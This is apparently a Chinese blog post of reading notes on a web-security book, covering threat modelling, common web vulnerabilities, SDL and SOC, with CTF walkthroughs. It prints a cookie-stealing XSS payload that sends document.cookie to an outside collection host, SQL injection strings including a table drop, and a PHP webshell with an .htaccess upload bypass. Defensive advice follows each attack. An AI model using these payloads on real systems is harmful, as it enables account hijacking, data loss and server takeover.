【笔记】结合CTF理解Web安全

最近拜读了一下道哥的《白帽子讲Web安全》,主要是想开阔学习一下,堪称互联网最大入口的Web服务中的安全知识。无论黑客是从客户端,还是服务端发起的漏洞攻击,都能从中见识到这些黑客的顶级智慧和脑洞,他们有着深厚的网络和操作系统知识,开发出各种脚本和工具,有的大师甚至开源出来,用以警醒我们漏洞危害之大。书中介绍了很多详细的漏洞种类和防御手段,尤其是最后,道哥结合10多年阿里云安全的开发运营经验,倾囊相授了一番SDL安全开发流程和SOC安全运营的checklist,这部分是非常宝贵的,即使是10年前的经验,到今天依然没有过时,很多厂商,甚至是安全厂商都没有完全做到这些。

本文以读书笔记+自身心得+新技术扩充的形式,结合之前ctf赛题的例子,介绍一下本书提到的一些Web漏洞种类,防御手段以及我最为关心的SDL和SOC(这两章的标题是吸引我读完此书的引子)。

1. 安全的本质

安全问题的本质是信任的问题。一切的安全方案设计的基础,都是建立在信任关系上的,我们必须相信一些东西,必须有一些最基本的假设,安全方案才能得以建立,所以,安全就是一个持续的过程,自从互联网有了安全问题以来,这种信任会随着攻击而被打破,防御技术就在不断对抗的过程中得到发展,信任会再次被重塑。在现代的互联网产品中,自动升级功能已经成为一个标准配置,一个有活力的产品总是会不断改进自身。

1.1 安全的组成

安全三要素是安全的基本组成元素,分别是机密性,完整性和可用性。

机密性要求保护数据内容不能泄露,加密是实现机密性要求的常见手段;完整性,则是要求保护数据内容是完整的,没有被纂改的,常见的保证一致性的技术手段是数字签名;可用性要求保护资源是随需而得,比如dos攻击就会使服务方,无法再对外提供正常的服务

1.2 安全评估

一个安全评估的过程,可以简单地划分为4个阶段:资产等级划分,威胁建模,风险分析和确认解决方案

资产进行等级划分,就是对数据做等级划分,有的公司最关心的是客户数据,有的公司最关心的是员工资料信息,根据各自业务的不同,侧重点也不同。做资产等级划分的过程,需要与各个业务部门的负责人一一沟通,了解公司的业务,公司所拥有的数据,以及不同数据的重要程度

威胁建模的方法最早由微软提出,叫做STRIDE模型,在进行威胁分析时,要尽可能的不遗漏威胁:

Category

说明

欺骗

先进行非法访问,并使用另一用户的身份验证信息,例如用户名和密码

篡改

恶意修改数据。 示例包括未经授权更改持久保存的数据(例如保存在数据库中的数据),更改通过开放网络(例如 Internet)在两台计算机之间传输的数据

否认性

指用户拒绝执行某个操作,但其他操作方无法证实这种拒绝无效 - 例如,某个用户在无法跟踪受禁操作的系统中执行非法操作。 不可否认性是指系统对抗否认性威胁的能力。 例如,购买某个产品的用户可能需要在收货时签收该产品。 然后,供应商可以使用签收单来证明该用户确实收到了包裹

信息泄露

将信息透露给本应不该有权访问这些信息的个人 — 例如,用户能够读取他们未授权访问的文件,或者入侵者能够读取在两台计算机之间传输的数据

拒绝服务

拒绝服务 (DoS) 攻击会拒绝向有效用户提供服务 — 例如,使 Web 服务器暂时不可用。 必须防范某些类型的 DoS 威胁,这只是为了提高系统的可用性和可靠性

特权提升

无特权用户获得特权访问权限,从而拥有足够的访问权限来入侵或破坏整个系统。 特权提升威胁包括攻击者有效突破系统防御,成为受信任系统本身的一部分,这是非常危险的局面

一个威胁到底有多大的危害,如何去衡量它,就需要考虑风险分析了,这里介绍一个DREAD模型,它也是由微软提出的,除了考虑造成损失的大小外,还需要考虑到发生的可能性。在DREAD模型里,每一个因素都可以分为高,中,低三个等级,代表权重值,越高代表风险越大。

等级

高(3分)

中(2分)

低(1分)

Damage Protential

获取完全验证权限;执行管理员操作;非法上传文件

泄露敏感信息

泄露其他信息

Reproducibility

攻击者可以随意再次攻击

攻击者可以重复攻击,但有时间限制

攻击者很难重复攻击过程

Exploitability

初学者在短期内能掌握攻击方法

熟练的攻击者才能完成这次攻击

漏洞利用条件非常苛刻

Affected users

所有用户,默认配置,关键用户

部分用户,非默认配置

极少数用户,匿名用户

Discoverability

漏洞很显眼,攻击条件很容易获得

在私有区域,部分人能看到,需要深入挖掘漏洞

发现该漏洞极其困难

1.3 设计安全方案

产品需求,尤其是商业需求,它是用户真正想要的东西,是业务的意义所在,在设计安全方案时,应该尽可能的不要改变商业需求的初衷。安全方案必须能够有效抵抗威胁,但同时不能过多干涉正常的业务流程,在性能上也不能拖后腿,好的安全方案对用户应该是透明的,尽可能的不要改变用户的使用习惯

安全解决方案,一定要有针对性,这种针对性是由上一节提到的安全评估给出的,最终一个优秀的安全方案应该具备以下特点:

  • 能够有效解决问题
  • 用户体验好
  • 高性能
  • 低耦合
  • 易于扩展和升级

设计安全方案有一些技巧如下:

  • 黑白名单机制最小权限原则,要求系统只授予主体必要的权限,而不要过度授权,这样能有效减少系统,网络,应用,数据库出错的机会
  • 纵深防御:首先在各个不同层面,不同方面实施安全方案,避免出现疏漏,其次,在正确的地方做正确的事情,在常见的入侵案例中,如果在攻击路径(利用已有的Web应用漏洞->获取低权限shell->上传文件->尝试更多权限->渗透内网)的任何一个环节,没有设置有效的防御措施,都有可能导致被入侵。
  • 不可预测性,用在一些敏感数据上,比如在CSRF防御技术中,通常会使用一个token来进行有效防御,因此token足够复杂时,不能被攻击者猜测到,不可预测性往往需要加密算法,随机数算法和哈希算法。

2. Web漏洞攻击大赏

2.1 XSS跨脚本攻击

XSS跨脚本攻击是客户端脚本安全的头号大敌,通常黑客通过HTML注入纂改了网页,插入了恶意脚本,从而在用户浏览网页时,恶意脚本会将用户的一些信息发送给黑客,从而达到控制用户浏览器的一种攻击,最常见要数Cookie劫持,Cookie中一般加密保存了当前用户的登录凭证,攻击者可以不通过密码,而直接登录进用户的账户,我们来看一个CTF的例子,来自[CISCN2019 华东北赛区]Web2,靶场如下:

有4个按钮可选,但是都会跳转到注册/登录页面,我们随便注册一下:

然后拿出工具https://github.com/H4ckForJob/dirmap,做一个目录扫描然后发现网站有这些页面:

代码语言:javascript
复制
index.php
admin.php
login.php
register.php
post.php
commitbug.php
about.php

这些页面,每个都尝试访问一下,发现admin.php访问不了,需要权限,但投稿页面是可以提交评论的,这马上就能想到使用XSS攻击,我们要构造一个xss代码获取管理员的cookie,然后利用cookie来登录后台管理。

​我们重新回到投稿页面,发现一个好玩的地方:

​我在这边的输入的文字,点击提交后,再点击查看,会直接回显:

​鬼魅的想法来了,我们可以在文本框中输入一些html代码,然后web在渲染页面的时候就能执行,然后点击反馈页面,管理员亲自一看就能获取到他的cookie了,这其实也是一种代码注入的手段,网站将用户的输入的数据当作代码去执行了,比如最简单的alert,如果代码执行了,它应该会弹出一个文本框:

不出意外的话,那肯定得出意外了,网站做了csp防护,没有执行输入的东西:

​但我们注意到了他有一个eval漏洞,也就是允许不安全的代码动态执行,拿出祖传的js代码:

代码语言:javascript
复制
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

output = ""

for c in in_str:
output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

打上去,发现可以正常执行。

然后我们来到反馈页面,将刚才的url填入,让管理员查看,他一看cookie就会返回给我(return document.cookie):

​然后去收下cookie:

​然后我们用这个cookie就能登录到admin页面了,就是这么脑洞大开:

那么XSS该如何防御呢?

对于cookie劫持可以采用http only标记策略,这个标记可以使js脚本读取不到cookie值,这样以来从根本上使xss攻击失效,比如说http only标记给用于认证的http only上。

但攻击者的脑洞也不是白给的,他设计了一种xss钓鱼,它可以利用js在当前页面上伪造一个登录框,当用户在登录框中输入用户名和密码后,其密码将被发送黑客的服务器上了,同理他也可以利用js读取浏览器的版本,甚至识别用户安装了哪些软件,比如说判断迅雷是否安装了,可以判断activx的thuderIEhelper是否存在即可。

所以单纯做一个http only还是不够的,XSS的本质还是一种HTML注入,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。因此,在用户得数据输出到HTML页面时,要分具体情况看待,如果是输出到事件或脚本,则要再做一次JavaScriptEncode,如果是输出到HTML内容或者属性,则要做一次HTMLEncode,也就是在指定位置做安全编码

2.2 CSRF跨站点请求伪造

CSRF攻击过程也很有意思,攻击者在自己的域内构造一个页面,然后诱使用户去访问这个页面(男同胞们懂的),然后自动触发以该用户身份在第三方站点执行了一次操作,比如说删除知乎的一篇文章。这个删除博文的请求,是攻击者伪造的,所以这种就叫做站点请求伪造,即在钓鱼的A页面,以用户身份去合法的GET/POST到了B页面。

我们来看一个CTF例子,来自DVWA csrf low的题目:

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。

输入新的密码之后就会在地址栏出现相应的链接(是get型所以提交的参数会显示),并提示密码修改成功:

​自己手动,修改密码后的链接是:

​此时在同一个浏览器中打开新的页面将上面的链接粘贴到地址栏并进行访问,此时成功访问:

​然后在没有退出原本的登录的情况下(这其实就是真实攻击时,用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(hack设计好的修改淘宝登录密码的链接,就会把淘宝的密码改了),新打开的页面地址栏修改链接的密码为passwd(原本为zxj)并回车,新页面会显示密码修改成功,此时退出登录后重新登录会发现登录密码变为新的passwd而zxj无法登陆:

​最后总结一下,对于 CSRF 攻击,必须满足三个关键条件:

  1. 相关操作。应用程序有一个操作,攻击者有理由诱导该操作。
  2. 基于 Cookie 的会话处理。该操作涉及发出 HTTP 请求,应用程序仅依靠会话 cookie 来识别用户。
  3. 没有不可预测的请求参数。执行操作的请求不包含任何攻击者无法确定或猜测其值的参数。

所以,针对CSRF的防御,要让攻击者无法预测URL的所有参数与参数值,比如可以把参数加密,这样在攻击者不知道salt的情况下,是无法构造出这个URL的,CSRF也就无法顺利实行。但这个方法也存在一些问题,首先,加密或混淆后的URL难以阅读,对用户非常不友好,其次,如果加密的参数每次都改变,则这些URL将无法被用户收藏了,因此,一个更加通用的解决方案就出现了,就是Anti CSRF Token,回到上面的URL中,保持原参数不变,新增一个随机的Token作为参数,这个Token需要放在表单和Session中,这样服务器需要验证两边存的的Token是否一致就可以了,如果不一致,很有可能发生了CSRF攻击。

2.3 点击劫持

点击劫持是一种视觉上的欺骗手段,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作时,用户将不知情的点击到透明的iframe页面,通过调整iframe的布局,可以使用户恰好点击iframe页面上一些功能的按钮,这个和CSRF异曲同工,它是利用用户交互的页面,在不经意间就被攻击者所操纵了。

下面是相同的示例,但 iframe​ 的透明度设置为了 opacity:0​,更符合实际情况:

2.4 SQL注入攻击

注入攻击的本质,是把用户输入的数据当作代码执行,这里有两个关键条件,第一个是用户能够控制输入,第二个是原本程序要执行的代码,拼接了用户输入的数据,在之前提到的XSS本质上就是针对HTML的注入攻击。注入攻击中,最常见的就是SQL注入,在某一个网站的查询页面,加入用户输入是“XIXI”,那么网站后端可能会执行:

代码语言:javascript
复制
SELECT* FROM OrderTable WHERE ShipCity = 'XIXI'

但假如用户输入一段有语义的SQL语句,比如 XIXI“;drop table OrderTable --,那么后端实际执行的就是这样的:

代码语言:javascript
复制
SELECT* FROM OrderTable WHERE ShipCity = 'XIXI'; drop table OrderTable --’

这个拼接过程很重要,正是这个问题导致了代码的注入,另外如果web服务器开启了错误回显,则会为攻击者提供极大的便利,从错误信息中会给出很多关键的敏感信息。当然黑客还是更加狡猾,即使你不回显数据,黑客还是想到了一个办法,就是大名鼎鼎的Timing Attack,他利用MySQL中,一个测试函数性能的语句BENCHMARK(),利用这个函数,可以让同一个查询函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。

我们来看一个crf试题,来自[极客大挑战 2019]EasySQL:

​这是一个登陆页面,需要输入用户名和密码,看来是想让我们黑到网站里面,我先随便输入用户名和密码,看看会发生什么:

​考虑应该是通过SQL注入的方式,我在用户名填一个错误的带引号的admin,如果客户端傻乎乎的拼接就会报错:

​这不就直接使用万能密码绕过就可以了:admin' or 1=1#,这样sql一拼接直接返回真,密码随便填:

防御SQL注入的最佳方式,就是使用预编译语句,绑定变量,这样在SQL语句中,变量用?标识,攻击者无法改变SQL的结构,在上面的例子中,即使攻击者插入类似于admin' or 1=1#的字符串,也只会将此字符串当作username来查询。同时,可以参考OWASAP ESAPI中的库函数,这些库函数由安全专家编写,更值得信赖,在最后,从数据库自身的角度来说,应该使用最小权限原则,避免WEb应用直接使用root,dbowner等高权限账户直接连接数据库,如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户

2.5 文件上传漏洞

在互联网中,我们经常用到文件上传功能,比如说上传一张自定义的图片;分享一段视频或者照片;论坛发帖时附带一个附件;在发送邮件时上传一个附件等等。文件上传功能是一个正常的业务需求,对于网站来说,很多时候也确实需要用户将文件上传到服务器,所以文件上传本身没有问题,但服务器怎么处理,解释文件的处理逻辑做的不够安全,则会导致严重的后果

文件上传后导致的常见安全问题一般有:

  • 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行
  • 上传文件是flash的策略文件cross domain.xml,黑客可以控制Flash在该域下的行为
  • 上传文件是病毒,木马文件,黑客用以诱骗用户或管理员下载执行
  • 上传文件是钓鱼图片或是包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺骗。

我们来看以一个CTF的例子,来自于https://github.com/c0ny1/upload-labs收录的津门杯文件上传题目,这个是专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场:

这是可以上传任何文件的网站,所以一定是让我们通过上传文件,拿到这个服务器的webshell,我先使用php写入一句话木马,然后改为png格式,进行上传。发现可以上传,但是没有解析。

一句话木马就是一段简单的代码,就这短短的一行代码<?php @eval($_POST['shell']);?>​。它的工作原理是:
创建一个ma.php的文件,之后在里面写上我们的一句话木马,< ? php ?> 这个是php脚本语言的格式,Eval() 函数这个是php里面的函数,用来把eval()函数里面的字符串当做命令来执行。@eval()前面的@符号是错误抑制符号,就是说我们的eval() 函数执行失败了,我们不让它的错误显示出来,这个在渗透测试里面能达到一定的隐藏功能。_POST[]是用来接收前端传来的参数, cmd表示前端传输一个参数名为cmd的值,而后端我们可以使用_POST[cmd] 来确定这个值。

例如,我们传输一个参数名称为cmd 、值为phpinfo()的参数,参数的传输方式是POST型。这里表示我们从前端以POST传输方式传输一个参数名称为cmd、值为phpinfo(); 的参数。传输到我们的一句话木马文件里面,而一句话木马文件里面的 $_POST[cmd]就等于 phpinfo(); 我们的cmd的值可以使其执行任意命令,从而达到我们前端传输什么,后端就执行。

​然后从源码出发,看了看源码发现不能注入,也不能绕过上传。

​可以发现这个配置里把php解析给关了,那思路就来了,先构造htaccess文件修改配置,再上传一句话木马就可以解析了:

代码语言:javascript
复制
第一个文件叫.htaccess内容是:
<FilesMatch “1.png”>
SetHandler application/x-httpd-php
php_flag engine on
</FilesMatch>

第二个文件名叫1.png
<?php eval($_GET[‘cmd’]);?>

​然后找到上传图片的路径,读phpinfo:GET /upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=phpinfo();

上传文件的防御可以有一下几点,第一个是,文件上传的目录设置为不可执行的,在实际应用中,很多大型网站的上传应用,文件上传后会放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。第二个是判断文件的类型,同时结合使用MIME Type,后缀检查和格式头码流等。最后一招,由于文件上传如果要执行代码,则需要用户能够访问到这个文件,如果应用使用随机数改写了文件名和路径,将极大地增加攻击的成本。

2.6 Session保持攻击

认证的目的是为了认出用户是谁,而授权的目的是为了决定用户能够做什么。认证实际上就是一个验证凭证的过程,如果只有一个凭证被用于认证,则称为”单因素认证“;如果有两个或多个凭证被用于认证,则称为”多因素认证“,一般来说,用户体检上,多因素认证或多或少都会带来一些不方便的地方。

密码与证书等认证手段,一般仅仅用于登录过程,当登录完成后,用户访问网站的页面,不可能每次浏览器请求页面时都再用密码认证一次,因此,当认证成功后,就需要替换一个对用户透明的凭证,这个凭证就是Session ID。服务器维护所有在线用户的Session,为了告诉服务器使用哪个Session,最常见的做法就是把Session ID加密后保存在客户端的cookie上,cookie会随着http请求头发送,且受到浏览器同源策略的保护。注意加密算法就挑位长的,比如AES256,认证就是SHA512。

一般来说,Session是有生命周期的,当用户长时间未活动后,或者用户点击退出后,服务器会销毁Session,这时候攻击者之前通过cookie劫持拿到的信息就失效了,但聪明的攻击者就想到了一个方法一直持有有效的session,比如说间隔性刷新页面,以告诉服务器这个用户仍然在活动,其次,对于客户端,攻击者也可以使用XSS纂改cookie的过期时间,使之永久有效,这样以来,当服务器对于活动的session也一直不削毁的话,攻击者就能通过此有效Session一直使用用户的账户,成为一个永久的后门。

代码语言:javascript
复制
//创建cookie
document.cookie="user=xiaoming";
document.cookie="age=30";
document.cookie="sex=man";

//获取cookie
console.log(document.cookie);//user=xiaoming; age=30; sex=man

//设置cookie的生存期
var date=new Date();
date.setHours(date.getHours() + (24 * 30)); //保存30天
document.cookie="user=xiaoming;expires="+date.toUTCString();

如何对抗这种保活机制呢,常见的做法就是有一个阈值,强制销毁Session,比如说24h后让用户重新登录一下。

2.7 水平权限数据泄露

权限控制,或者说访问控制,广泛应用于各个系统中,抽象的说,都是某个主体对某个客体需要实施某种操作,而系统对这种操作的限制就是权限控制。在网络中,为了保护网络资源的安全,一般是通过路由设备或防火墙建立基于IP的访问控制。这种访问控制的主体是网络请求的发起方比如一台PC,客体是网络请求的接收方比如一台服务器,主体对客体的操作是对某个端口发起网络请求。这个操作能够执行成功,是受到防火墙ACL策略限制的。

主体能够做什么,就是权限,访问控制实际是建立用户与权限之间的对应关系,目前有两种模式,一个是大家比较注重的垂直权限管理,还有一个是比较生僻的水平权限管理。

垂直权限管理是基于角色的访问控制,事先在系统中定义出不同角色,不同的角色拥有不同的权限,一个角色实际上就是一个权限的集合,一个用户可能拥有多个角色,角色之间有高低之分,在系统验证权限时,只需要验证用户所属的角色,然后就可以根据该角色所拥有的权限进行授权了。在配置权限时,应当使用最小权限原则,并使用默认拒绝的策略,只对有需要的主体单独配置允许的策略。在很多时候能够避免越权访问。

水平权限管理时,是需要考虑用户A是否在访问属于A的数据,如果他访问用户B的数据了,就发生了越权访问。也就是说,要对角色内的用户做细分,也要对数据的子集做细分。一个简单的数据级访问控制,可以考虑使用用户组的概念,比如一个用户组的数据只属于该组内的成员,只有同一用户组的成员才能实现对这些数据的操作。此外,还可以考虑实现一个规则引擎,将访问控制的规则写在配置文件中,通过规则引擎对数据的访问进行控制。

现在的互联网越来越开放了,有一些场景也变得很平常,比如某个网站想要获取一个用户在第三方网站的某些资源或服务。这个时候OAuth2.0应运而生。OAuth2.0的介绍可以详见这个文章:

https://blog.csdn.net/seccloud/article/details/8192707

2.8 DDOS攻击

分布式拒绝服务攻击,将正常请求放大了若干倍,通过若干个网络节点同时发起攻击,以达成规模效应,大型的僵尸网络,甚至达到了数万,数十万的规模,如此规模的ddos几乎是不可阻挡的,ddos攻击被认为是安全领域最难解决的问题之一,迄今为止也没什么好办法,只能求助于运营商或云厂商帮你清洗流量,自己水管粗了才就能硬抗下来ddos攻击。

常见的ddos攻击有syn flood,icmp flood等等,syn flood过于经典,他是利用tcp协议设计的缺陷,而tcp ip协议是整个互联网的基础,牵一发而动全身,如今想要修复这样的缺陷几乎成为不可能的事情了。syn flood攻击时,首先伪造大量的源ip地址,分别向服务端发送大量的syn包,此时服务器会返回syn/ack包,因为源地址是伪造的,所以伪造的ip肯定不会应答,那么服务器没有收到回应时,会重试3-5次并且等待一个syn time(一般30s到2分钟)。那么短时间内,攻击者发出大量这种伪造的syn请求,服务端就会消耗非常多的cpu和内存资源来处理这种半连接,同时还要不断对这些ip进行syn ack重试,最后的结果就是服务器都没工夫搭理正常的连接请求,导致拒绝服务。

还有一种cc攻击,就是黑客入侵了一个流量很大的网站后,通过纂改页面,将巨大的用户流量分流到目标网站,对于目标网站最好是那种查询页面,最好还是跳着查,这样服务器memcache查询没有命中时,服务器比会查询数据库,从而增大服务器资源的消耗。

还有一种更牛的slowloris攻击,这种攻击几乎对所有web server都是有效的,这个攻击原理是以极低的速度往服务器发送http请求,由于web srerver对于并发的连接数都有一定的上限,因此如恶意的占用住这些连接不释放,那么web server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。要保持住这个连接,RSnake构造了一个畸形的http请求,它是一个http请求头只有一个\r\n,正常时\r\n\r\n代表http header部分结束,所以server测认为客户端头部还没有发完,就一直等待,此时客户端再以极慢的速度发送http头,保持住连接即可。

还有一种是利用正则表达式解析缺陷,如果基于NFA,那么它会遍历所有状态,非常耗资源。如果服务端的正则写法有缺陷时,攻击者可以构造了一个字符串,会使服务端的资源消耗爆炸。在今天的互联上,正则表达式可能存在于任何地方,但只要任何一个环节存在有缺陷的正则表达式,就都有可能导致一次reDos.

3. Web Server配置安全

Web服务器是Web应用的载体,如果这个载体出现安全问题,那么运行在其中的Web应用程序的安全也无法保障。Web服务器安全,考虑的是应用部署时的运行环境安全,这个运行环境包括WebServer,脚本语言解释器,中间件等软件,这些软件所提供的一些配置参数,也可以起到安全保护的作用。

Apache安全

尽管近年来Nginx,LightHttpd等WebServer的市场份额增长的很快,但Apache依然是这个领域中独一无二的巨头,互联网上大多数的Web应用依然跑在Apache Httpd。纵观Apache的漏洞史,它曾经出现过许多次高危漏洞,但这些漏洞大部分都是Apache的Module造成的,Apache核心代码的高危漏洞几乎没有。

因此,检查Apache安全的第一件事情就是检查Apache的Module的安装情况,根据最小权限原则,应该尽可能减少不必要的Module,对于要使用的Module,则检查其对应版本是否存在已知的安全漏洞。定制好了Apache安装包后,接下来就是指定Apache进程以单独的用户身份允许,这通常需要为Apache单独建一个user/group。

Apache还提供一些配置参数,可以用来优化服务器的性能,提高对抗DDOs攻击能力

代码语言:javascript
复制
TimeOut
KeepAlive
LimitRequestBody
LimitRequestFields
LimitRequestFieldsize
LimitRequestLine
LimitXMLRequestBody
Acceptrilter
MaxRequestWorkers

最后,要保护好日志,攻击者入侵后要做的第一件事就是清楚入侵痕迹,修改删除日志文件,因此access log应当妥善保管,比如实时都发送到远程的syslog服务器上。

Nginx安全

今年来Nginx发展很快,他的高性能和高并发的处理能力使得用户在web Server的选择上有了更多的倾向,但从安全角度看,Nginx近年来出现的影响默认安装版本的高危漏洞却比Apache要多,因此多多关注Nginx官网展示的漏洞信息,并及时将软件升级到安全的版本,是非常有必要的一件事情。与Apache一样,Nginx也应该以单独的身份运行,这是所有web server,容器软件应该共同遵守的原则。

具体参照一下WebServer配置安全实践Top 25 Nginx Web Server Best Security Practices,后面我单独出一个翻译。

4. SDL安全开发

安全开发流程,能够帮助企业以最小的成本提高产品的安全性,他符合”secure at the source“的战略思想,实施好安全开发流程,对企业安全的发展来说,可以起到事半功倍的效果。

SDL全称是Security Development Lifecycle,安全开发生命周期,他是由微软最早提出的,在软件工程中实施,是帮助解决软件安全问题的办法,SDL是一个安全保证的过程,其重点是软件开发,他在开发的所有阶段都引入了安全和隐私的原则,SDL大致步骤如下:

从上图可以看出,微软优化后的SDL过程大致分为16个阶段,这一轮走完,直接崩溃,过于厚重了,现在都是敏捷开发了,所以得整点敏捷SDL实战:

  1. 与项目经理进行充分沟通,排出足够的时间
    一个项目的安全评估,在开发的不同环节有着不同的安全要求,而这些要求都需要占用开发团队的时间,因此要再立项阶段明确在什么阶段安全工程师需要介入,需要多长时间完成工作,同时预留出多少时间给开发团队用以安全开发功能或修复安全漏洞。

  2. 规范公司安全开发流程,确保所有项目都能通知到安全团队 从公司层面建立一个完善的立项制度,SDL一定要覆盖到公司的所有项目,安全事件产生的原因并不复杂,但总是发生在大家疏忽的一些地方。
  3. 安全部门审核未完成,不能发布 在实施SDL的过程,必须通过规范和制度,明确要求所有项目必须通过安全审核后能发布,如果没有这种权威,对于项目组来说,安全就变成一个可有可无的东西,比如产品着急发布,很可能因此砍掉或者裁剪部分安全需求,也可能延期修补漏洞,从而导致风险升高。
  4. 代码开发阶段,要有一份安全编码规范 对于开发,测试团队来说,对其工作最有效的约束方式就是工作手册,开发规范涉及的方面比较广,比如函数名的大小写方式,注释写法等等,但是内容很少有涉及安全的,因此安全技术方案也要写入到开发者的代码规范中,比如规定好哪些函数是要求禁用的,只能使用哪些函数,或者封装好一些安全功能,在什么情况下使用怎样的安全API,如有必要一定要全公司宣贯 参考OWASP ESAPI为安全模块提供了安全编码+代码工具安全审计工具(静态动态一股脑的来)
  5. 安全培训
  6. 记录所有安全bug,激励程序员变成的安全代码 被发现漏洞最少的团队可以到奖励,并将结果公布出来。
  7. 需求分析与设计阶段,要有一份安全checklist 详看lenny zeltser安全大神的博文,后面我也要单独翻译一下:https://zeltser.com/blog/
  8. 第三方组件评估,是否存在风险

5. SOC安全运营

安全是三分技术,七分管理,安全对于企业来说,结果才是最重要的,安全方案设计出花来,也需要实践的检验,而安全运营的目的,就是将安全的过程持续的循环起来,Find and Fix,Defend and Defer,Security at the Source。

一个安全评估的过程,就是一个Find and Fix的过程,通过漏洞扫描,渗透测试,代码审计等方式,可以发现系统中已知的安全问题;然后再通过设计安全方案,实施安全方案,最终解决这些问题。而像入侵检测系统,Web应用防火墙,反DDOS设备等则是一些防御性的工作,这也是保证安全必不可少的一个部分,他们能防范问题于未然,或者当安全事件发生后,快速低响应和处理问题,这些防御性的工作,是一个Defend and Defer的过程。最后,Security at the Source就是安全开发流程SDL,他能从源头降低安全风险,提高产品的安全质量。

这三者关系是互补的,当SDL出现差错时,可以通过周期性的扫描,安全评估等工作将问题及时解决,而入侵检测(suricata),WAF(ModSecurity)等系统,则可以在安全事件发生后的第一时间进行响应,并有助于时候定损,如果三者只剩其一,都可能使得公司的安全体系出现短板,给攻击者带来可乘之机。

对于安全运营的工作来说,建立漏洞修补流程,意味着需要完成几件事情:

  • 建立类似bugtracker的漏洞跟踪机制,并为漏洞的紧急程度选择优先级
  • 建立漏洞分析机制,并与程序员一起制定修补方案,同时review补丁的代码实现
  • 对曾经出现的漏洞进行归档,并定期统计漏洞修补的情况

除了业务本身的监控,其实网站的安全性也是需要监控的,安全监控的主要目的,是探测网站或者网站的用户是否被攻击,是否发生了DDOS,从而可以做出反应。比如开源的Nagios,后面可以搞个源码阅读。

安全监控的目的是为了在最快的时间做出反应,因此报警机制必不可少。常见的报警方式有三种:

  • 邮件报警
  • 企微报警
  • 短信报警

在处理安全问题时,有两个需要注意的地方,一是保护现场,二是以最快速度先规避掉,紧急流程建立后,可以适当进行一两次演习,以保证流程的有效性。

Reference

  • https://adworld.xctf.org.cn/challenges/list
  • https://book.douban.com/subject/36502703/
  • https://learn.microsoft.com/zh-cn/azure/security/develop/threat-modeling-tool-threats
  • https://blog.csdn.net/hulitong/article/details/109037813
  • https://www.zhaoj.in/read-6100.html
  • https://blog.csdn.net/weixin_46709219/article/details/109325123
  • https://zh.javascript.info/clickjacking
  • https://www.anquanke.com/post/id/241059
  • https://xz.aliyun.com/t/6957?time__1311=n4%2BxnD0DRDyD9iDuDRhxBqOoQ%2BkS7QWDfxD5eex&alichlgref=https%3A%2F%2Fwww.google.com%2F
  • http://xatopsec-edu.com/news/technology/technologyPage109.html
  • https://docs.nginx.com/nginx/admin-guide/security-controls/controlling-access-proxied-http/
  • https://www.cyberciti.biz/tips/linu